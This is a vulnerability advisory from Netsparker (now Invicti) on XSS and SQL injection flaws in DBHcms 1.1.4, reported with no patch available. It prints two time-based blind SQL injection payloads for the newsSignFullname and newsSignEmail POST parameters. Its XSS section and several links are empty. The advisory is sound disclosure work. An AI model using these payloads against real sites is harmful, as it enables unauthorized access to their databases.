Advisory by Netsparker (now Invicti)
Name: XSS and SQL Injection Vulnerabilities in DBHcms
Software: DBHcms 1.1.4 and possibly below.
Vendor Homepage:
Vulnerability Type: Cross-Site Scripting and SQL Injection
Severity: Critical
Researcher: Omar Kurt
Advisory Reference: NS-13-006


The DBHcms is a small free Open Source content management system for personal and small business websites. It is search engine optimized, also for multiple languages simultaneously by allowing the search engine bot to index every single page in each language and avoding content cloning. DBHcms is 100% flexible but also simple and easy to use thanks to an integrated WYSIWYG editor, multiple language support and layout templates!


DBHcms is affected by XSS and SQL Injection vulnerabilities in version 1.1.4.

Example PoC urls are as follows :

Blind SQL Injection Vulnerabilities

    POST - param:
    newsSignFullname='+(SELECT 1 FROM (SELECT SLEEP(25))A)+'
    POST - param:
    newsSignEmail='+(SELECT 1 FROM (SELECT SLEEP(25))A)+'

XSS Vulnerabilities


You can read the full article about Cross-Site Scripting and SQL Injection vulnerabilities from here :

No patch was released.

Advisory Timeline

01/08/2013 - First contact: No response
29/08/2013 - Advisory Released


It has been discovered on testing of Invicti Web Application Security Scanner.


MSL Advisory Link : /xss-and-sql-injection-vulnerabilities-in-dbhcms/
Invicti Advisories : /web-applications-advisories/

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